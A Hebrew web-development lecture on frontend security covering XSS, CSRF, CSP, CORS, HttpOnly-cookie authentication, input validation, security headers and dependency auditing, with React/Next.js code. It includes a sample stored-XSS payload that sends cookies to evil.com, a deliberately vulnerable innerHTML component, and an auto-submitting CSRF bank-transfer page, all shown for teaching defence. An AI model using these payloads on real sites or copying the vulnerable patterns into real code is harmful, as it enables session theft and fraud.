11.1 - אבטחת פרונטאנד - הרצאה
אבטחת פרונטאנד - Frontend Security¶
אבטחת מידע באפליקציות ווב היא אחד הנושאים החשובים ביותר בפיתוח מודרני. התקפות על צד הלקוח יכולות לחשוף מידע רגיש, לפגוע במשתמשים ולגרום נזק עסקי חמור. בשיעור זה נלמד על ההתקפות הנפוצות ביותר וכיצד למנוע אותן.
סקריפטים בין-אתריים - XSS (Cross-Site Scripting)¶
התקפת XSS מתרחשת כאשר תוקף מצליח להזריק קוד JavaScript זדוני לדף ווב שמוצג למשתמשים אחרים. זו אחת ההתקפות הנפוצות ביותר.
סוגי XSS¶
Stored XSS - הקוד הזדוני נשמר בשרת (למשל בתגובה בפורום) ומוצג לכל משתמש:
// Example of vulnerable code - displaying content from the server without sanitization
function Comment({ comment }: { comment: { text: string } }) {
// Never do this!
return <div dangerouslySetInnerHTML={{ __html: comment.text }} />;
}
// The attacker saves a comment with malicious content:
// <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Reflected XSS - הקוד הזדוני מגיע כחלק מה-URL ומוחזר בתגובת השרת:
DOM-based XSS - הקוד הזדוני מבוצע ישירות בצד הלקוח ללא מעורבות השרת:
// Vulnerable code - using the URL without sanitization
function SearchPage() {
const params = new URLSearchParams(window.location.search);
const query = params.get('q') || '';
// Vulnerable! The input is injected directly into the DOM
document.getElementById('results')!.innerHTML = `Results for: ${query}`;
return null;
}
מניעת XSS בריאקט¶
ריאקט מספקת הגנה מובנית מפני XSS - כל תוכן שמוזרק ל-JSX עובר אוטומטית sanitization:
function SafeComponent({ userInput }: { userInput: string }) {
// Safe! React does automatic escaping
return <div>{userInput}</div>;
// If userInput is "<script>alert('xss')</script>"
// React will convert it to: <script>alert('xss')</script>
}
השימוש המסוכן ב-dangerouslySetInnerHTML:
// If you must display HTML - always sanitize with a sanitization library
import DOMPurify from 'dompurify';
function RichContent({ html }: { html: string }) {
const sanitizedHTML = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'target'],
});
return <div dangerouslySetInnerHTML={{ __html: sanitizedHTML }} />;
}
התקנת DOMPurify:
זיוף בקשות בין-אתריות - CSRF (Cross-Site Request Forgery)¶
התקפת CSRF מנצלת את האמון שיש לשרת בדפדפן של המשתמש. התוקף יוצר דף שמבצע בקשה לאתר היעד, והדפדפן מצרף אוטומטית את העוגיות של המשתמש.
כיצד CSRF עובד¶
<!-- Malicious page created by the attacker -->
<html>
<body>
<!-- This form will send a request to the bank with the user's cookies -->
<form action="https://bank.com/transfer" method="POST" id="evil-form">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('evil-form').submit();</script>
</body>
</html>
מניעת CSRF¶
שימוש ב-CSRF Tokens:
// The server generates a unique token for each session
// The client sends the token with every request
async function makeSecureRequest(url: string, data: unknown) {
// Getting the CSRF token from the server
const csrfToken = document.querySelector<HTMLMetaElement>(
'meta[name="csrf-token"]'
)?.content;
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken || '',
},
credentials: 'include', // sending cookies
body: JSON.stringify(data),
});
return response.json();
}
הגדרת עוגיות עם SameSite:
// On the server (Next.js API Route)
import { NextResponse } from 'next/server';
export async function POST(request: Request) {
const response = NextResponse.json({ success: true });
response.cookies.set('session', 'token-value', {
httpOnly: true, // prevents access from JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // prevents sending from other sites
maxAge: 60 * 60 * 24, // one day
path: '/',
});
return response;
}
מדיניות אבטחת תוכן - Content Security Policy (CSP)¶
CSP הוא מנגנון שמאפשר לשרת להגדיר מאילו מקורות הדפדפן רשאי לטעון משאבים. זה מוסיף שכבת הגנה משמעותית מפני XSS.
// next.config.js - setting up CSP in Next.js
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'nonce-{NONCE}'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
].join('; '),
},
],
},
];
},
};
module.exports = nextConfig;
הסבר ההנחיות העיקריות¶
- default-src - מקור ברירת מחדל לכל סוגי המשאבים
- script-src - מאילו מקורות ניתן לטעון סקריפטים
- style-src - מאילו מקורות ניתן לטעון סגנונות
- img-src - מאילו מקורות ניתן לטעון תמונות
- connect-src - לאילו כתובות ניתן לבצע בקשות (fetch, WebSocket)
- frame-ancestors - מי רשאי להטמיע את הדף ב-iframe
שיתוף משאבים בין מקורות - CORS (Cross-Origin Resource Sharing)¶
CORS הוא מנגנון שמאפשר לשרת לציין מאילו דומיינים אחרים ניתן לגשת למשאבים שלו.
מה זה Origin?¶
https://example.com:443/path
|______|____________|___|
protocol host port
// Two URLs with the same origin:
https://example.com/page1
https://example.com/page2
// Different origins:
https://example.com
https://api.example.com // different subdomain
http://example.com // different protocol
https://example.com:8080 // different port
הגדרת CORS בשרת¶
// Next.js API Route with CORS
import { NextRequest, NextResponse } from 'next/server';
const ALLOWED_ORIGINS = [
'https://myapp.com',
'https://staging.myapp.com',
];
export async function GET(request: NextRequest) {
const origin = request.headers.get('origin') || '';
const response = NextResponse.json({ data: 'some data' });
if (ALLOWED_ORIGINS.includes(origin)) {
response.headers.set('Access-Control-Allow-Origin', origin);
response.headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
response.headers.set('Access-Control-Allow-Credentials', 'true');
response.headers.set('Access-Control-Max-Age', '86400');
}
return response;
}
// Handling preflight request
export async function OPTIONS(request: NextRequest) {
const origin = request.headers.get('origin') || '';
if (ALLOWED_ORIGINS.includes(origin)) {
return new NextResponse(null, {
status: 204,
headers: {
'Access-Control-Allow-Origin': origin,
'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE',
'Access-Control-Allow-Headers': 'Content-Type, Authorization',
'Access-Control-Allow-Credentials': 'true',
'Access-Control-Max-Age': '86400',
},
});
}
return new NextResponse(null, { status: 403 });
}
דפוסי אימות מאובטחים - Secure Authentication Patterns¶
אחסון טוקנים - היכן לשמור?¶
// Not recommended - localStorage is exposed to XSS attacks
localStorage.setItem('token', 'my-jwt-token');
// Not recommended - sessionStorage is also exposed
sessionStorage.setItem('token', 'my-jwt-token');
// Recommended - HttpOnly Cookie (not accessible from JavaScript)
// The setting is done on the server side:
// Set-Cookie: token=my-jwt-token; HttpOnly; Secure; SameSite=Strict
דפוס אימות מאובטח עם HttpOnly Cookies¶
// Authentication service on the client side
const authService = {
async login(email: string, password: string) {
const response = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include', // Important! sends and receives cookies
body: JSON.stringify({ email, password }),
});
if (!response.ok) {
throw new Error('Login failed');
}
// The token is saved automatically as an HttpOnly cookie
return response.json();
},
async logout() {
await fetch('/api/auth/logout', {
method: 'POST',
credentials: 'include',
});
},
async getUser() {
const response = await fetch('/api/auth/me', {
credentials: 'include',
});
if (!response.ok) return null;
return response.json();
},
};
// Next.js API Route - Login
import { NextResponse } from 'next/server';
import { SignJWT } from 'jose';
export async function POST(request: Request) {
const { email, password } = await request.json();
// Authenticating the user against the database
const user = await authenticateUser(email, password);
if (!user) {
return NextResponse.json(
{ error: 'Invalid credentials' },
{ status: 401 }
);
}
// Creating the JWT
const token = await new SignJWT({ userId: user.id, role: user.role })
.setProtectedHeader({ alg: 'HS256' })
.setExpirationTime('1h')
.sign(new TextEncoder().encode(process.env.JWT_SECRET));
const response = NextResponse.json({ user: { id: user.id, name: user.name } });
// Setting the secure cookie
response.cookies.set('auth-token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 60 * 60, // one hour
path: '/',
});
return response;
}
רענון טוקנים - Refresh Token Pattern¶
// Middleware that checks and refreshes tokens
import { NextRequest, NextResponse } from 'next/server';
export async function middleware(request: NextRequest) {
const authToken = request.cookies.get('auth-token')?.value;
const refreshToken = request.cookies.get('refresh-token')?.value;
if (!authToken && refreshToken) {
// Attempt to refresh the token
try {
const response = await fetch(`${request.nextUrl.origin}/api/auth/refresh`, {
method: 'POST',
headers: { Cookie: `refresh-token=${refreshToken}` },
});
if (response.ok) {
const newResponse = NextResponse.next();
// Copying the new cookies from the response
const setCookie = response.headers.get('set-cookie');
if (setCookie) {
newResponse.headers.set('set-cookie', setCookie);
}
return newResponse;
}
} catch {
// Refresh failed - redirect to login
}
return NextResponse.redirect(new URL('/login', request.url));
}
if (!authToken) {
return NextResponse.redirect(new URL('/login', request.url));
}
return NextResponse.next();
}
סניטציה ואימות קלט - Input Sanitization and Validation¶
אימות בצד הלקוח עם Zod¶
import { z } from 'zod';
const userInputSchema = z.object({
name: z
.string()
.min(2, 'Name must contain at least 2 characters')
.max(50, 'Name cannot contain more than 50 characters')
.regex(/^[\p{L}\s'-]+$/u, 'Name can only contain letters, spaces, and hyphens'),
email: z
.string()
.email('Invalid email address')
.toLowerCase(),
age: z
.number()
.int('Age must be a whole number')
.min(13, 'Minimum age is 13')
.max(120, 'Invalid age'),
website: z
.string()
.url('Invalid URL address')
.optional(),
bio: z
.string()
.max(500, 'Bio cannot exceed 500 characters')
.transform((val) => val.replace(/<[^>]*>/g, '')) // Removing HTML tags
.optional(),
});
type UserInput = z.infer<typeof userInputSchema>;
// Using validation
function validateUserInput(data: unknown): UserInput {
return userInputSchema.parse(data);
}
סניטציה של פלט¶
// Basic escape function
function escapeHTML(str: string): string {
const escapeMap: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (char) => escapeMap[char]);
}
// Sanitization of URLs - preventing javascript: protocol
function sanitizeURL(url: string): string {
try {
const parsed = new URL(url);
if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
return '#';
}
return parsed.toString();
} catch {
return '#';
}
}
// Using the component
function SafeLink({ href, children }: { href: string; children: React.ReactNode }) {
return (
<a href={sanitizeURL(href)} rel="noopener noreferrer">
{children}
</a>
);
}
HTTPS וheaders אבטחה - HTTPS and Security Headers¶
הheaders אבטחה חשובות¶
// next.config.js - adding security headers
const securityHeaders = [
{
// Prevents the browser from guessing the content type
key: 'X-Content-Type-Options',
value: 'nosniff',
},
{
// Prevents displaying the site in an iframe (protection against clickjacking)
key: 'X-Frame-Options',
value: 'DENY',
},
{
// Enables XSS filtering mode in old browsers
key: 'X-XSS-Protection',
value: '1; mode=block',
},
{
// Enforces HTTPS
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload',
},
{
// Controls the information sent in the Referer header
key: 'Referrer-Policy',
value: 'strict-origin-when-cross-origin',
},
{
// Controls access to browser APIs
key: 'Permissions-Policy',
value: 'camera=(), microphone=(), geolocation=(self), interest-cohort=()',
},
];
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: securityHeaders,
},
];
},
};
module.exports = nextConfig;
אבטחת תלויות - npm audit and Dependency Security¶
בדיקת פגיעויות¶
# Checking vulnerabilities in dependencies
npm audit
# Automatic fix of vulnerabilities
npm audit fix
# Fix that may break compatibility (upgrading major versions)
npm audit fix --force
# Show detailed report
npm audit --json
כלים לאבטחת תלויות¶
# Installing Snyk to scan for vulnerabilities
npm install -g snyk
snyk test
# Using Socket.dev to detect malicious packages
# (installed as a GitHub App)
שיטות עבודה מומלצות¶
// package.json - locking versions
{
"dependencies": {
"react": "18.2.0",
"next": "14.1.0"
},
"overrides": {
"vulnerable-package": "2.0.1"
}
}
// .npmrc - security settings
// ignore-scripts=true // prevents running scripts after install
// audit=true // automatic security check on every npm install
בדיקת אבטחה אוטומטית ב-CI¶
# .github/workflows/security.yml
name: Security Audit
on:
schedule:
- cron: '0 0 * * 1' # every Monday
push:
branches: [main]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm ci
- run: npm audit --audit-level=high
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
רשימת בדיקת אבטחה - Security Checklist¶
להלן רשימה של בדיקות אבטחה שכדאי לבצע בכל פרויקט:
- אין שימוש ב-dangerouslySetInnerHTML ללא סניטציה
- כל הקלט מאומת בצד הלקוח ובצד השרת
- טוקנים נשמרים ב-HttpOnly cookies ולא ב-localStorage
- מוגדרות headers אבטחה (CSP, HSTS, X-Frame-Options)
- CORS מוגדר עם רשימת origins מפורשת (לא wildcard)
- כל הבקשות ב-HTTPS
- פגיעויות בתלויות נבדקות באופן שוטף
- אין חשיפת מידע רגיש בקוד הלקוח (API keys, secrets)
- ניהול שגיאות לא חושף מידע טכני למשתמש
- הגנת CSRF מופעלת בכל הטפסים
סיכום¶
בשיעור זה למדנו על:
- XSS - סוגי התקפות וכיצד ריאקט מגנה עלינו, שימוש ב-DOMPurify כשצריך HTML
- CSRF - כיצד ההתקפה עובדת ומניעה באמצעות טוקנים ו-SameSite cookies
- CSP - מדיניות שמגבילה מאילו מקורות ניתן לטעון משאבים
- CORS - שיתוף משאבים בין דומיינים בצורה מבוקרת
- אימות מאובטח - שימוש ב-HttpOnly cookies, רענון טוקנים
- סניטציה ואימות - Zod לאימות, DOMPurify לסניטציה
- הheaders אבטחה - הגנות נוספות ברמת HTTP
- אבטחת תלויות - npm audit וסריקה אוטומטית
אבטחה היא לא דבר חד-פעמי - זהו תהליך מתמשך שצריך להיות חלק מכל שלב בפיתוח.